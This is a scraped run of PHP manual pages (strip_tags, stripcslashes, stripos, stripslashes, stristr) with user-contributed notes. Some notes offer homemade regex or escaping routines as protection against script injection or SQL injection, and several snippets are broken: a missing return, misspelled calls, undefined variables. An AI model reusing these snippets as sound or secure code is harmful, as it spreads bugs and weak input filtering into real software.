the strip_tags() function in both php 4.3.8 and 5.0.2 (probably many more, but these are the only 2 versions I tested with) have a max tag length of 1024.  If you're trying to process a tag over this limit, strip_tags will not return that line (as if it were an illegal tag).   I noticed this problem while trying to parse a paypal encrypted link button (<input type="hidden" name="encrypted" value="encryptedtext">, with <input> as an allowed tag), which is 2702 characters long.  I can't really think of any workaround for this other than parsing each tag to figure out the length, then only sending it to strip_tags() if its under 1024, but at that point, I might as well be stripping the tags myself.
@dada 29-Sep-2004 05:41
if you  only want to have the text within the tags, you can use this function:

<?php
function showtextintags($text)

{

$text = preg_replace("/(\<script)(.*?)(script>)/si", "dada", "$text");
$text = strip_tags($text);
$text = str_replace("<!--", "&lt;!--", $text);
$text = preg_replace("/(\<)(.*?)(--\>)/mi", "".nl2br("\\2")."", $text);

return $text;

}
?>

it will show all the text without tags and (!!!) without javascripts
Anonymous User 22-Aug-2004 09:24
Be aware that tags constitute visual whitespace, so stripping may leave the resulting text looking misjoined.

For example,

"<strong>This is a bit of text</strong><p />Followed by this bit"

are seperable paragraphs on a visual plane, but if simply stripped of tags will result in

"This is a bit of textFollowed by this bit"

which may not be what you want, e.g. if you are creating an excerpt for an RSS description field.

The workaround is to force whitespace prior to stripping, using something like this:

<?php
      $text = getTheText();
      $text = preg_replace('/</',' <',$text);
      $text = preg_replace('/>/','> ',$text);
      $desc = html_entity_decode(strip_tags($text));
      $desc = preg_replace('/[\n\r\t]/',' ',$desc);
      $desc = preg_replace('/  /',' ',$desc);
?>
Isaac Schlueter php at isaacschlueter dot com 15-Aug-2004 11:16
I am creating a rendering plugin for a CMS system (http://b2evolution.net) that wraps certain bits of text in acronym tags.  The problem is that if you have something like this:
<a href="http://www.php.net" title="PHP is cool!">PHP</a>

then the plugin will mangle it into:

<a href="http://www.<acronym title="PHP: Hypertext Processor">php</acronym>.net" title="<acronym title="PHP: Hypertext Processor">PHP</acronym> is cool!>PHP</a>

This function will strip out tags that occur within other tags.  Not super-useful in tons of situations, but it was an interesting puzzle.  I had started out using preg_replace, but it got riduculously complicated when there were linebreaks and multiple instances in the same tag.

The CMS does its XHTML validation before the content gets to the plugin, so we can be pretty sure that the content is well-formed, except for the tags inside of other tags.

<?php
if( !function_exists( 'antiTagInTag' ) )
{
    // $content is the string to be anti-tagintagged, and $format sets the format of the internals.
    function antiTagInTag( $content = '', $format = 'htmlhead' )
    {
        if( !function_exists( 'format_to_output' ) )
        {    // Use the external function if it exists, or fall back on just strip_tags.
            function format_to_output($content, $format)
            {
                return strip_tags($content);
            }
        }
        $contentwalker = 0;
        $length = strlen( $content );
        $tagend = -1;
        for( $tagstart = strpos( $content, '<', $tagend + 1 ) ; $tagstart !== false && $tagstart < strlen( $content ); $tagstart = strpos( $content, '<', $tagend ) )
        {
            // got the start of a tag.  Now find the proper end!
            $walker = $tagstart + 1;
            $open = 1;
            while( $open != 0 && $walker < strlen( $content ) )
            {
                $nextopen = strpos( $content, '<', $walker );
                $nextclose = strpos( $content, '>', $walker );
                if( $nextclose === false )
                {    // ERROR! Open waka without close waka!
                    // echo '<code>Error in antiTagInTag - malformed tag!</code> ';
                    return $content;
                }
                if( $nextopen === false || $nextopen > $nextclose )
                { // No more opens, but there was a close; or, a close happens before the next open.
                    // walker goes to the close+1, and open decrements
                    $open --;
                    $walker = $nextclose + 1;
                }
                elseif( $nextopen < $nextclose )
                { // an open before the next close
                    $open ++;
                    $walker = $nextopen + 1;
                }
            }
            $tagend = $walker;
            if( $tagend > strlen( $content ) )
                $tagend = strlen( $content );
            else
            {
                $tagend --;
                $tagstart ++;
            }
            $tag = substr( $content, $tagstart, $tagend - $tagstart );
            $tags[] = '<' . $tag . '>';
            $newtag = format_to_output( $tag, $format );
            $newtags[] = '<' . $newtag . '>';
            $newtag = format_to_output( $tag, $format );
        }

        $content = str_replace($tags, $newtags, $content);
        return $content;
    }
}
?>
leathargy at hotmail dot com 26-Oct-2003 10:15
it seems we're all overlooking a few things:
1) if we replace "</ta</tableble>" by removing </table, we're not better off. try using a char-by-char comparison, and replaceing stuff with *s, because then this ex would become "</ta******ble>", which is not problemmatic; also, with a char by char approach, you can skip whitespace, and kill stuff like "< table>"... just make sure <&bkspTable> doesn't work...
2) no browser treats { as <.[as far as i know]
3) because of statement 2, we can do:

<?php
$remove=array("<?","<","?>",">");
$change=array("{[pre]}","{[","{/pre}","]}");
$repairSeek = array("{[pre]}", "</pre>","{[b]}","{[/b]}","{[br]}");
// and so forth...

$repairChange("<pre>","</pre>","<b>","<b>","<br>");
// and so forth...

$maltags=array("{[","]}");
$nontags=array("{","}");
$unclean=...;//get variable from somewhere...
$unclean=str_replace($remove,$change,$unclean);
$unclean=str_replace($repairSeek, $repairChange, $unclean);
$clean=str_replace($maltags, $nontags, $unclean);

////end example....
?>

4) we can further improve the above by using explode(for our ease):

<?php
function purifyText($unclean, $fixme)
{
$remove=array();
$remove=explode("\n",$fixit['remove']);
//... and so forth for each of the above arrays...
// or you could just pass the arrays..., or a giant string
//put above here...
return $clean
}//done
?>
dougal at gunters dot org 10-Sep-2003 01:03
strip_tags() appears to become nauseated at the site of a <!DOCTYPE> declaration (at least in PHP 4.3.1). You might want to do something like:

$html = str_replace('<!DOCTYPE','<DOCTYPE',$html);

before processing with strip_tags().
guy at datalink dot SPAMMENOT dot net dot au 14-Mar-2002 10:19
Strip tags will NOT remove HTML entities such as &nbsp;
chrisj at thecyberpunk dot com 18-Dec-2001 12:57
strip_tags has doesn't recognize that css within the style tags are not document text. To fix this do something similar to the following:

$htmlstring = preg_replace("'<style[^>]*>.*</style>'siU",'',$htmlstring);
strcspn
stripcslashes
String Functions


Un-quote string quoted with addcslashes

strip_tags
stripos
String Functions
PHP Manual

stripcslashes

(PHP 4, PHP 5)

stripcslashes — Un-quote string quoted with addcslashes()

Description

string stripcslashes ( string $str )

Returns a string with backslashes stripped off. Recognizes C-like \n, \r ..., octal and hexadecimal representation.

Parameters

str

The string to be unescaped.

Return Values

Returns the unescaped string.

See Also

  • addcslashes() - Quote string with slashes in a C style

User Contributed Notes

jsmneo at dreamworkstudio dot net 04-Jul-2008 07:53
you might want to do a double stripslashes to completely remove 3 consecutive slashes

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses($stripped);
would output:
'this is a string with three\ slashes'

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses(stripslashes($stripped));
would output:
'this is a string with three slashes'
uramihsayibok, gmail, com 17-May-2008 09:09
> /*QUOTE
> stripcslashes('He\xallo') == 'He'."\n".'llo'
> stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'
> */
>
> You Can Use
>
> stripcslashes('H\xa0ello') == 'H'.chr(0xA0).'ello'
Correct. But not what (I think) you were trying to show.

>
> as xa0 = xa = chr(xA)
Not so correct.

Does 9==90? No, because that added zero *after* the number means something.
It's when you add a zero *before* the number does it not affect the value.

I'd like to assume that was a typo, but with the Internet as it is, who knows...
> You Can Use
>
> stripcslashes('H\x0aello') == 'H'.chr(0x0A).'ello'
fix'd
kenny at tnsnurse dot com 07-May-2008 09:28
Well, if you're reading data imported from another product, like Microsoft(ughh), you may encounter slashes, etc.. in your data anyway. Our company uses Microsoft Dynamics and I have to read their Vendor tables. Apparently, Dynamics and SQL Server allow all kinds of garbage in their fields. I've even seen tic marks used in the data in the key fields.
spider853 at gmail dot com 27-Dec-2007 03:47
/*QUOTE
stripcslashes('He\xallo') == 'He'."\n".'llo'
stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'
*/

You Can Use

stripcslashes('H\xa0ello') == 'H'.chr(0xA0).'ello'

as xa0 = xa = chr(xA)
abodeman BLAH at yahoo dot com 14-Jul-2003 12:27
stripcslashes does not accept hexadecimal escape sequences of more than two digits, even though C does. This means that all of the following are true (in C the second and third examples would contain the characters '\x48e' and '\x323' respectively):

stripcslashes('H\x65llo') == 'Hello'
stripcslashes('\x48ello') == 'Hello'
stripcslashes('1\x323') == '123'

stripcslashes does accept hexadecimal escape sequences of only one digit, as long as the following digit is not a valid hexadecimal digit, so both of the following are true:

stripcslashes('He\xallo') == 'He'."\n".'llo'
stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'

The fact that stripcslashes is limited to two hexadecimal digits looks like a bug at first glance, but it can be a feature. You can, for example, do a simple str_replace(':', '\x3a', $str) to replace all colons in a string with '\x3a' without having to worry about whether or not the next character will be interpreted as a hexadecimal digit.

If this "bug" is ever fixed, there will be no way in PHP to escape the colon in the string 'a:b' with a hexadecimal representation, since the 'b' would be interpreted as the hexadecimal digit 11. The string 'a\x3ab' would be interpreted as 'a'.chr(0x3AB).
nospam at nowhere dot com 05-Nov-2002 03:57
if you allow users to submit fields with apostrophy's inside, what you should do is pass that string into "stripcslashes()" to remove any slashes that may be automatically added by whatever that is causing it. As usual, you should verify this for yourself by creating a form and output the raw data in plain text format to make sure you have it right. The reason why MySQL does seem to ignore this problem is because it takes the "\'" and treat it as "'".
strip_tags
stripos
String Functions


Find the position of the first occurrence of a case-insensitive substring in a string

stripcslashes
stripslashes
String Functions
PHP Manual

stripos

(PHP 5)

stripos — Find the position of the first occurrence of a case-insensitive substring in a string

Description

int stripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find the numeric position of the first occurrence of needle in the haystack string.

Unlike the strpos(), stripos() is case-insensitive.

Parameters

haystack

The string to search in.

needle

Note that the needle may be a string of one or more characters.

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. Unlike strrpos() and strripos(), the offset cannot be negative.

Return Values

Returns the position of where the needle exists relative to the beginnning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 stripos() examples

<?php
$findme    = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);
$pos2 = stripos($mystring2, $findme);

// Nope, 'a' is certainly not in 'xyz'
if ($pos1 === false) {
    echo "The string '$findme' was not found in the string '$mystring1'";
}

// Note our use of ===.  Simply == would not work as expected
// because the position of 'a' is the 0th (first) character.
if ($pos2 !== false) {
    echo "We found '$findme' in '$mystring2' at position $pos2";
}
?>

Notes

Note: This function is binary-safe.

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string
  • str_ireplace() - Case-insensitive version of str_replace.

User Contributed Notes

emperorshishire at gmail dot com 24-Feb-2009 07:31
I found myself needing to find the first position of multiple needles in one haystack.  So I wrote this little function:

<?php
function multineedle_stripos($haystack, $needles, $offset=0) {
    foreach($needles as $needle) {
        $found[$needle] = stripos($haystack, $needle, $offset);
    }
    return $found;
}

// It works as such:
$haystack = "The quick brown fox jumps over the lazy dog.";
$needle = array("fox", "dog", ".", "duck")
var_dump(multineedle_stripos($haystack, $needle));
/* Output:
   array(3) {
     ["fox"]=>
     int(16)
     ["dog"]=>
     int(40)
     ["."]=>
     int(43)
     ["duck"]=>
     bool(false)
   }
*/
?>
grf at post dot cz 20-Mar-2007 04:57
this would to work with any language, i hope.
tested on czech (eastern europe) lang.

<?php
/****************************************
*    SAFE HIGHLIGHT
****************************************/
/**
 * function finds and encase every string in a $needleArr array with
 * strings $shearLft (from the left side) and $shearRgt (guess from which
 * side).
 * already encased needles are IGNORED for any other step, so order
 * of needles in $needleArr is pretty important.
 *
 * function is searching needles in case-insensitive mode,
 * but case in the subject is saved.
 *
 * can you do it better? so, do it.
 *
 * @param array $needleArr array of needles
 * @param string $shearLft left shear
 * @param string $shearRgt right shear
 * @param string $subject subject
 * @param string $encoding encoding ('utf-8' is default)
 *
 * @author griffin
 */
function safeHighlight( $needleArr, $shearLft, $shearRgt, $subject, $encoding = 'utf-8')
{

    // encoding
    $e = $encoding;

    // oh, no needles
    if( !is_array( $needleArr))
        return $subject;

    // empty keys throw-off, only unique, reindex
    $nA = array_values(
            array_unique(
                array_diff( $needleArr, array(''))
            )
        );

    // needle count
    if( !($nC = count( $nA)))
        return $subject; // nothing to hl

    // shear length
    if( !(($rLL = mb_strlen( $rL = $shearLft, $e))
    + ($rRL = mb_strlen( $rR = $shearRgt, $e))))
        return $subject; // no shears

    // subject length
    if( !($sL = mb_strlen( $s = $subject, $e)))
        return null; // empty subject

    // subject in lowercase (we need to aviod
    // using mb_stripos due to PHP version)
    $sW = mb_strtolower( $s, $e);

    // masking ~ 0=not changed, 1=changed
    $m = str_repeat( '0', $sL);

    // loop for each needle
    for( $n=0; $n<$nC; $n++)
    {

        // needle string loWercase
        $nW = mb_strtolower( $nA[ $n], $e);

        $o = 0; // offset
        $nL = mb_strlen( $nW, $e); // needle length

        // search needle
        while( false !== ($p = mb_strpos( $sW, $nW, $o, $e)))
        {
            // oh hurrey, needle found on $p position

            // is founded needle already modified? (in full-length)
            for( $q=$p; $q<($p+$nL); $q++)
                if( $m[ $q])
                {
                    // ai, caramba. already modified, jump over
                    $o+= $nL;

                    // continue for while() loop - not for for() loop!
                    continue 2;
                }

            // explode subject and mask into three parts
            // partA|needle|partB
            $sE[0] = mb_substr( $s, 0, $p, $e);
            $sE[1] = mb_substr( $s, $p, $nL, $e);
            $sE[2] = mb_substr( $s, $p+$nL, $sL-$p-$nL, $e);

            // mask
            // partA|partB (needle not needed)
            $mE[0] = mb_substr( $m, 0, $p, $e);
            $mE[1] = mb_substr( $m, $p+$nL, $sL-$p-$nL, $e);

            // apply shears
            $sE[1] = $rL.$sE[1].$rR;

            // update sunject length
            $sL+= $rLL + $rRL;

            // update mask
            $m = $mE[0] . str_repeat( '1', $rLL + $nL + $rRL) . $mE[1];

            // implode into a subject
            $s = implode( $sE);

            // update lowercase subject
            $sW = mb_strtolower( $s, $e);

            // increase offset
            $o+= $rLL + $nL + $rRL;

            // end of string reached
            if( $o>=$sL)
                break;

        } // while()

    } // for( $n=0; $n<$nC; $n++)

    // oouu yeaaa, kick the subject out of the function
    return $s;

} // function safeHighlight()
/****************************************
*    END: SAFE HIGHLIGHT
****************************************/
?>
stripcslashes
stripslashes
String Functions


Un-quotes a quoted string

stripos
stristr
String Functions
PHP Manual

stripslashes

(PHP 4, PHP 5)

stripslashes — Un-quotes a quoted string

Description

string stripslashes ( string $str )

Un-quotes a quoted string.

Note:

If magic_quotes_sybase is on, no backslashes are stripped off but two apostrophes are replaced by one instead.

An example use of stripslashes() is when the PHP directive magic_quotes_gpc is on (it's on by default), and you aren't inserting this data into a place (such as a database) that requires escaping. For example, if you're simply outputting data straight from an HTML form.

Parameters

str

The input string.

Return Values

Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\).

Examples

Example #1 A stripslashes() example

<?php
$str = "Is your name O\'reilly?";

// Outputs: Is your name O'reilly?
echo stripslashes($str);
?>

Note:

stripslashes() is not recursive. If you want to apply this function to a multi-dimensional array, you need to use a recursive function.

Example #2 Using stripslashes() on an array

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}

// Example
$array = array("f\\'oo", "b\\'ar", array("fo\\'o", "b\\'ar"));
$array = stripslashes_deep($array);

// Output
print_r($array);
?>

The above example will output:

Array
(
    [0] => f'oo
    [1] => b'ar
    [2] => Array
        (
            [0] => fo'o
            [1] => b'ar
        )

)

See Also

  • addslashes() - Quote string with slashes
  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc

User Contributed Notes

jeremysawesome 10-Dec-2010 12:39
I'm using this to clean the $_POST array:
<?php
array_walk_recursive($_POST, create_function('&$val', '$val = stripslashes($val);'));
?>
jeremycook0 at googlemail dot com 01-Aug-2010 08:04
Here's a way of stripping slashes in PHP 5.3 using a recursive closure:

<?php
  if (get_magic_quotes_gpc()) {
      $strip_slashes_deep = function ($value) use (&$strip_slashes_deep) {
          return is_array($value) ? array_map($strip_slashes_deep, $value) : stripslashes($value);
      };
      $_GET = array_map($strip_slashes_deep, $_GET);
      $_POST = array_map($strip_slashes_deep, $_POST);
      $_COOKIE = array_map($strip_slashes_deep, $_COOKIE);
  }
?>

Note that the variable '$strip_slashes_deep' has to be passed to the closure by reference. I think that this is because at the time the closure is created the variable '$strip_slashes_deep' doesn't exist: the closure itself becomes the value of the variable. Passing by reference solves this issue. This closure could easily be adapted to use other methods of stripping slashes such as preg_replace().
hawkeye at conreports dot de 21-Jan-2010 05:01
Another way to strip slashes only if necessary, independent of magic_quotes_gpc by comparing the count of (possibly) escaped characters and original characters.

<?php
function smartstripslashes($str) {
  $cd1 = substr_count($str, "\"");
  $cd2 = substr_count($str, "\\\"");
  $cs1 = substr_count($str, "'");
  $cs2 = substr_count($str, "\\'");
  $tmp = strtr($str, array("\\\"" => "", "\\'" => ""));
  $cb1 = substr_count($tmp, "\\");
  $cb2 = substr_count($tmp, "\\\\");
  if ($cd1 == $cd2 && $cs1 == $cs2 && $cb1 == 2 * $cb2) {
    return strtr($str, array("\\\"" => "\"", "\\'" => "'", "\\\\" => "\\"));
  }
  return $str;
}
?>
eugene at ultimatecms dot co dot za 23-Nov-2009 05:03
This is a simple function to remove the slashes added by functions such as magic_quotes_gpc and mysql_escape_string etc.

<?php

function no_magic_quotes($query) {
        $data = explode("\\",$query);
        $cleaned = implode("",$data);
        return $cleaned;
}

// I'm using mysql_escape_string as a simple example, but this function would work for any escaped string.
$query = "It's amaizing! Who's to say this isn't a simple function?";
$badstring = mysql_escape_string($query);

echo '<b>Without funtion:</b> '.$badstring;
echo '<br><br>';
echo '<b>With function:</b> '.no_magic_quotes($badstring);

?>

Output:
Without funtion: It\'s amaizing! Who\'s to say this isn\'t a simple function?

With function: It's amaizing! Who's to say this isn't a simple function?
michal at roszka dot pl 31-Aug-2009 08:00
The goal is to leave the input untouched in PHP 5.2.8. Let's have this sample text given in $_POST['example']:

a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Let's have two simple scripts:

Script A:
<?php echo $_POST['example']; ?>

Script B:
<?php echo stripslashes($_POST['example']); ?>

Let's have four different configurations and corresponding output:

Case #1:

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = Off

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( � )

Case #2

 * magic_quotes_gpc = On
 * magic_quotes_sybase = Off

A: a backslash ( \\ ), a single-quote ( \' ), a double-quote ( \" ) and a null character ( \\0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Case #3

 * magic_quotes_gpc = On
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( '' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( � )

Case #4

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( � )

Conclusions:

1) we do not need to do anything, if the magic_quotes_gpc is disabled (cases 1 and 4);
2) stripslashes($_POST['example']) only works, if the magic_quotes_gpc is enabled, but the magic_quotes_sybase is disabled (case 2);
3) str_replace("''", "'", $_POST['example']) will do the trick if both the magic_quotes_gpc and the magic_quotes_sybase are enabled (case 3);

<?php
function disable_magic_quotes_gpc()
{
    if (TRUE == function_exists('get_magic_quotes_gpc') && 1 == get_magic_quotes_gpc())
    {
        $mqs = strtolower(ini_get('magic_quotes_sybase'));

        if (TRUE == empty($mqs) || 'off' == $mqs)
        {
            // we need to do stripslashes on $_GET, $_POST and $_COOKIE
        }
        else
        {
            // we need to do str_replace("''", "'", ...) on $_GET, $_POST, $_COOKIE
        }
    }
    // otherwise we do not need to do anything
}
?>

Important notes:

1) arrays need to be processed recursively;

2) both stripslashes and str_replace functions always return strings, so:

* TRUE will become a string "1",
* FALSE will become an empty string,
* integers and floats will become strings,
* NULL will become an empty string.

On the other hand you only need to process strings, so use the is_string function to check;

3) when dealing with other (than GPC) data sources, such as databases or text files, remember to play with the magic_quotes_runtime setting as well, see, what happens and write a corresponding function, i.e. disable_magic_quotes_runtime() or something.

4) VERY IMPORTANT: when testing, remember the null character. Otherwise your tests will be inconclusive and you may end up with... well, serious bugs :)
JacobRas.nl 28-Jul-2009 05:41
Hi,

Here's an function that strips not only \', but also \\' and \\\' and so on (depending on $times). $text = the text that needs to be stripped, $times = how much backslashes should be stripped.

<?php

function stripslashes_deep ($text, $times) {

    $i = 0;

    // loop will execute $times times.
    while (strstr($text, '\\') && $i != $times) {

        $text= stripslashes($text);
        $i++;

    }

    return $text;

}

?>

Example: $text = \\'quote\\' . <?php stripslashes_deep($text, 2); ?> will return 'quote'.
Note: <?php stripslashes_deep($text, 3); ?> will also return 'quote'.
shredder at technodrome dot com 09-May-2009 03:50
Hi,

Here are recursive addslashes / stripslashes functions.
given a string - it will simply add / strip slashes
given an array - it will recursively add / strip slashes from the array and all of it subarrays.
if the value is not a string or array - it will remain unmodified!

<?php

function add_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return addslashes( $variable ) ;

    elseif ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = add_slashes_recursive( $value ) ;

    return $variable ;
}

function strip_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return stripslashes( $variable ) ;
    if ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = strip_slashes_recursive( $value ) ;

    return $variable ;
}

?>
dragon[dot]dionysius[at]gmail[dot]com 24-Mar-2009 08:07
I use this function in my class to stripslashes arrays including NULL-check:

<?php
    private function stripslashes_deep($value) {
        if(is_array($value)) {
            foreach($value as $k => $v) {
                $return[$k] = $this->stripslashes_deep($v);
            }
        } elseif(isset($value)) {
            $return = stripslashes($value);
        }
        return $return;
    }
?>
Tom Worster 23-Mar-2009 07:26
A replacement that should be safe on utf-8 strings.
<?php
  preg_replace(array('/\x5C(?!\x5C)/u', '/\x5C\x5C/u'), array('','\\'), $s);
?>
o-zone at zerozone dot it 19-Mar-2009 03:53
If you need to remove all slashes from a string, here's a quick hack:

<?php
function stripallslashes($string) {
    while(strchr($string,'\\')) {
        $string = stripslashes($string);
    }
}
?>

Hope it's usefull , O-Zone
techdesk100 28-Apr-2008 07:58
Function which checks if $input has correct slashes,
otherwise adds slashes. For cases when you are not sure the input is not already addslashed.

    public function addslashes_once($input){
        //These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
        $pattern = array("\\'", "\\\"", "\\\\", "\\0");
        $replace = array("", "", "", "");
        if(preg_match("/[\\\\'\"\\0]/", str_replace($pattern, $replace, $input))){
            return addslashes($input);
        }
        else{
            return $input;
        }
    }
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 10:03
Here is simple example code which you can use as a common function in your functions file:

<?php
function stripslashes_if_gpc_magic_quotes( $string ) {
    if(get_magic_quotes_gpc()) {
        return stripslashes($string);
    } else {
        return $string;
    }
}
?>
Evgeny 26-Feb-2008 07:52
extended version of stripslashes_deep. This allow to strip one also in the array_keys

    function stripslashes_deep($value) {
        if (is_array($value)) {
            if (count($value)>0) {
                $return = array_combine(array_map('stripslashes_deep', array_keys($value)),array_map('stripslashes_deep', array_values($value)));
            } else {
                $return = array_map('stripslashes_deep', $value);
            }
            return $return;
        } else {
            $return = stripslashes($value);
            return $return ;
        }
    }
tokyoahead 10-Jan-2008 09:39
I am using this here to clear data in a CMS against SQL injections and other mayhem. The flow is:

1. input into form
2. get from $_GET/$_POST
3. cleanup($data, true)
4. save to SQL
5. load from SQL
6. cleanup($data, false)
7. show in form for new edit or on the website

<?php
function cleanup($data, $write=false) {
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            $data[$key] = cleanup_lvl2($value, $write);
        }
    } else {
        $data = cleanup_lvl2($data, $write);
    }
    return $data;
}

function cleanup_lvl2($data, $write=false) {
    if (isset($data)) { // preserve NULL
        if (get_magic_quotes_gpc()) {
            $data = stripslashes($data);
        }
        if ($write) {
            $data = mysql_real_escape_string($data);
        }
    }
    return $data;
}
?>
alex dot launi at gmail dot com 21-Dec-2007 07:16
kibby: I modified the stripslashes_deep() function so that I could use it on NULL values.

function stripslashes_deep($value)
{
    if(isset($value)) {
        $value = is_array($value) ?
            array_map('stripslashes_deep', $value) :
            stripslashes($value);
    }
    return $value;
}
lukas.skowronski at gmail dot com 20-Jun-2007 04:15
If You want to delete all slashes from any table try to use my function:

function no_slashes($array)
    {
        foreach($array as $key=>$value)
            {
                if(is_array($value))
                    {
                        $value=no_slashes($value);
                        $array_temp[$key]=$value;
                    }
                else
                    {
                        $array_temp[$key]=stripslashes($value);
                    }
            }
        return $array_temp;
    }
dragonfly at networkinsight dot net 11-Mar-2007 03:22
If you are having trouble with stripslashes() corrupting binary data, try using urlencode() and urldecode() instead.
JAB Creations 05-Mar-2007 08:49
When writing to a flatfile such as an HTML page you'll notice slashes being inserted. When you write to that page it's interesting how to apply stripslashes...

I replaced this line...
<?php fwrite($file, $_POST['textarea']); ?>

With...
<?php if (get_magic_quotes_gpc()) {fwrite ($file, stripslashes($_POST['textarea']));}?>

You have to directly apply stripslashes to $_POST, $_GET, $_REQUEST, and $_COOKIE.
gregory at nutt dot ca 22-Feb-2007 06:48
Here is code I use to clean the results from a MySQL query using the stripslashes function.

I do it by passing the sql result and the sql columns to the function strip_slashes_mysql_results.  This way, my data is already clean by the time I want to use it.

    function db_query($querystring, $array, $columns)
    {
      if (!$this->connect_to_mysql())
       return 0;

     $queryresult = mysql_query($querystring, $this->link)
        or die("Invalid query: " . mysql_error());

      if(mysql_num_rows($queryresult))
      {
          $columns = mysql_field_names ($queryresult);

          if($array)
          {
              while($row = mysql_fetch_row($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
          else
          {
              while($row = mysql_fetch_object($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
      }
      else
        return 0;
    }

    function strip_slashes_mysql_results($result, $columns)
    {
        foreach($columns as $column)
        {
              if($this->debug)
                  printp(sprintf("strip_slashes_mysql_results: %s",strip_slashes_mysql_results));
              $result->$column = stripslashes($result->$column);
        }
        return $result;
    }
Allen 06-Feb-2007 11:41
In response to Tim's solution, it is only good for one-dimensional array.  If the variables happened to be multi-dimensional arrays, we still have to use function like 'stripslashes_deep'.
stoic 02-Jan-2007 08:31
in response to crab dot crab at gmail dot com:

$value need not be passed by reference. The 'stripped' value is returned. The passed value is not altered.
Kibby 14-May-2006 01:41
Okay, if using stripslashes_deep, it will definitely replace any NULL to "".  This will affect to coding that depends isset().  Please provide a workaround based on recent note.
hauser dot j at gmail dot com 21-Feb-2006 02:13
Don't use stripslashes if you depend on the values NULL.

Apparently stripslashes converts NULL to string(0) ""

<?php
$a = null;
var_dump($a);

$b = stripslashes($a);
var_dump($b);
?>
Will output

NULL
string(0) ""
alf at mitose dot net 25-Oct-2005 05:09
Take care using stripslashes() if the text you want to insert in the database contain \n characters ! You'll see "n" instead of (not seeing) "\n".

It should be no problem for XML, but is still boring ...
10-Feb-2005 07:45
If you want to deal with slashes in double-byte encodings, such as shift_jis or big5, you may use this:

<?
function stripslashes2($string) {
    $string = str_replace("\\\"", "\"", $string);
    $string = str_replace("\\'", "'", $string);
    $string = str_replace("\\\\", "\\", $string);
    return $string;
}
?>
mattyblah at gmail dot com 10-Sep-2004 08:51
It should be of note that if you are stripping slashes to get rid of the slashes added by magic_quotes_gpc then it will also remove slashes from \. This may not seem that bad but if you have someone enter text such as 'testing\' with a slash at the end, this will cause an error if not corrected. It's best to strip the slashes, then add a slash to every single slash using $text = str_replace('\\', '\\\\', $text);
hash at samurai dot fm 30-Nov-2003 09:34
Might I warn readers that they should be vary careful with the use of stripslashes on Japanese text. The shift_jis character set includes a number of two-byte code charcters that contain the hex-value 0x5c (backslash) which will get stripped by this function thus garbling those characters.

What a nightmare!
stripos
stristr
String Functions


Case-insensitive strstr

stripslashes
strlen
String Functions
PHP Manual

stristr

(PHP 4, PHP 5)

stristr — Case-insensitive strstr()

Description

string stristr ( string $haystack , mixed $needle [, bool $before_needle = false ] )

Returns all of haystack from the first occurrence of needle to the end.

Parameters

haystack

The string to search in

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

before_needle

If TRUE, stristr() returns the part of the haystack before the first occurrence of the needle.

needle and haystack are examined in a case-insensitive manner.

Return Values

Returns the matched substring. If needle is not found, returns FALSE.

Changelog

Version | Description
5.3.0 | Added the optional parameter before_needle.
4.3.0 | stristr() was made binary safe.

Examples

Example #1 stristr() example

<?php
  $email = 'USER@EXAMPLE.com';
  echo stristr($email, 'e'); // outputs ER@EXAMPLE.com
  echo stristr($email, 'e', true); // As of PHP 5.3.0, outputs US
?>

Example #2 Testing if a string is found or not

<?php
  $string = 'Hello World!';
  if(stristr($string, 'earth') === FALSE) {
    echo '"earth" not found in string';
  }
// outputs: "earth" not found in string
?>

Example #3 Using a non "string" needle

<?php
  $string = 'APPLE';
  echo stristr($string, 97); // 97 = lowercase a
// outputs: APPLE
?>

Notes

Note: This function is binary-safe.

See Also

  • strstr() - Find the first occurrence of a string
  • strrchr() - Find the last occurrence of a character in a string
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strpbrk() - Search a string for any of a set of characters
  • preg_match() - Perform a regular expression match

User Contributed Notes

